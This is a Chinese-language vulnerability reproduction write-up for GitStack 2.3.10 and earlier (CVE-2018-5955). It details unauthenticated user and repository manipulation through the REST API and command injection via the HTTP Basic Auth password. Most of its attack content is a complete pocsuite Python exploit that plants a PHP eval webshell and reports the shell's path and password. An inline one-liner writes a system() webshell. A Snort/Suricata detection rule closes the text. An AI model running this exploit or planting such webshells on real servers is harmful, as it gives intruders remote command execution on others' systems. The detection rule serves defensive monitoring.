GitStack <= 2.3.10 非授权访问命令执行(文件上传)漏洞

漏洞概述:

该漏洞主要是通过以下几个漏洞同时利用达到远程命令执行效果:

漏洞环境搭建

下载 Gitstack 2.3.10 版本进行安装

漏洞复现

用户相关 rest_user:

1.使用 GET 方式可以直接查看 GitStack 仓库的用户列表,存在未授权访问信息泄露漏洞
直接访问http://ip/rest/user 即可获取 gitstack 库中的所有用户

2.通过 POST 方法,指定 username 和 password 可以直接添加仓库用户,存在任意用户添加漏洞

URL:http://ip/rest/user/
POST:username=test_username&password=test_passwd

project 相关:

1.通过 POST 一个带有 CSRF_TOKEN 的 name 值即可创建一个以 name 值命名的 project创建project

CSRF_TOKEN 存在于 http://ip/registration/login/?next=/gitstack/ 的源码中

nihao

2.任意 project 添加 user

只需要向 http://ip/rest/repository/ 传递 new__project 和 new_username 的值即可在名为 new_project 的项目中创建名为 new_username 的用户

POST http://ip/rest/repository/new_projectname/user/new_username/

任意 project 添加 user

命令执行(文件上传):

通过 HTTP Basic Authentication 认证过程中的漏洞,发送如下请求即可实现命令执行,以上传文件为例子

requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST['a']); ?>" > c:GitStackgitphpexploit.php'))

EXP

该 EXP 使用 pocsuite 框架格式编写

#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pocsuite.api.poc import register,Output, POCBase
from requests.auth import HTTPBasicAuth
import requests,urlparse,random,os,sys,hashlib,string


class TestPOC(POCBase):
    vulID = 'N/A'
    version = 'GitStack <= 2.3.10'
    author = 'co0ontty'
    vulDate = '2019-7-11'
    createDate = '2019-7-16'
    updateDate = '2018-3-31'
    references = ['https://xz.gmail.com/t/2235']
    name = 'GitStack <= 2.3.10 远程命令执行漏洞分析'
    appPowerLink = 'https://gitstack.com'
    appName = 'GitStack'
    appVersion = 'GitStack <= 2.3.10'
    vulType = '文件上传'
    desc = '''
    该漏洞利用GitStack正常使用过程中调用的接口的未授权访问漏洞,越权读取、创建、修改用户列表、仓库。通过进一步利用实现恶意文件的上传。
    '''
    samples = []
    install_requires = []

    def _attack(self):
        result = {}
        target = self.url
        hostname = urlparse.urlparse(target).hostname
        port = urlparse.urlparse(target).port
        if port is None:
            target = target+":80"
        repository = ''.join(random.sample(string.digits+string.ascii_letters,4))
        username = ''.join(random.sample(string.digits+string.ascii_letters,4))
        password = ''.join(random.sample(string.digits+string.ascii_letters,4))
        csrf_token = ''.join(random.sample(string.digits+string.ascii_letters,4))
        user_list = []
        r_getuser = requests.get("{}/rest/user/".format(target))
        try:
            user_list = r_getuser.json()
            user_list.remove('everyone')
        except:
            pass
        if len(user_list) > 0:
            username = user_list[0]
        else:
            r_create_user = requests.post("{}/rest/user/".format(target),data={'username' : username, 'password' : password})
        r_getrepo = requests.get("{}/rest/repository/".format(target))
        repository_list = r_getrepo.json()
        if len(repository_list) > 0:
            repository = repository_list[0]['name']
        r_post_csrftoken = requests.post("{}/rest/repository/".format(target), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
        r_create_user = requests.post("{}/rest/repository/{}/user/{}/".format(target, repository, username))
        r_del_user = requests.delete("{}/rest/repository/{}/user/{}/".format(target, repository, "everyone"))
        random_file_name = ''.join(random.sample(string.ascii_letters+string.digits,16))+".php"
        random_identify_code = ''.join(random.sample(string.ascii_letters+string.digits,35))
        random_shell_pass = ''.join(random.sample(string.ascii_letters+string.digits,5))
        webshell = 'p && echo " <?php @eval($_POST['+random_shell_pass+']);echo"'+random_identify_code+'";?>" > c:'
        r_create_file = requests.get('{}/web/index.php?p={}.git&a=summary'.format(target, repository), auth=HTTPBasicAuth(username, "{}".format(webshell)+random_file_name))
        test_url = target+"/web/"+random_file_name
        r_attack = requests.get(test_url)
        if (r_attack.status_code == 200):
            if (random_identify_code in r_attack.text):
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['ShellPath'] = test_url
                result['VerifyInfo']['ShellPasswd'] = random_shell_pass
            pass
        return self.parse_output(result)

    _verify = _attack

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

流量分析

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "GitStack Arbitrary PHP upload RCE CVE-2018-5955"; flow: established, to_server; content: "/web/index.php?"; http_uri; content: ".git"; distance: 0; http_uri; content: "Authorization:"; http_header; nocase; content: "Basic"; distance: 0; http_header; nocase; pcre: "/Basic\s+/i"; reference: cve, CVE-2018-5955; classtype: attempted-admin;  sid: 30000045; rev: 1;)

首先对访问目录 /web/index.php?p=adasdad.git 的流量进行分析,判断 http_header 中是否存在 Authorization 且其中包含 Basic + 一串 base64 值,如果满足上述条件即可判定存在攻击行为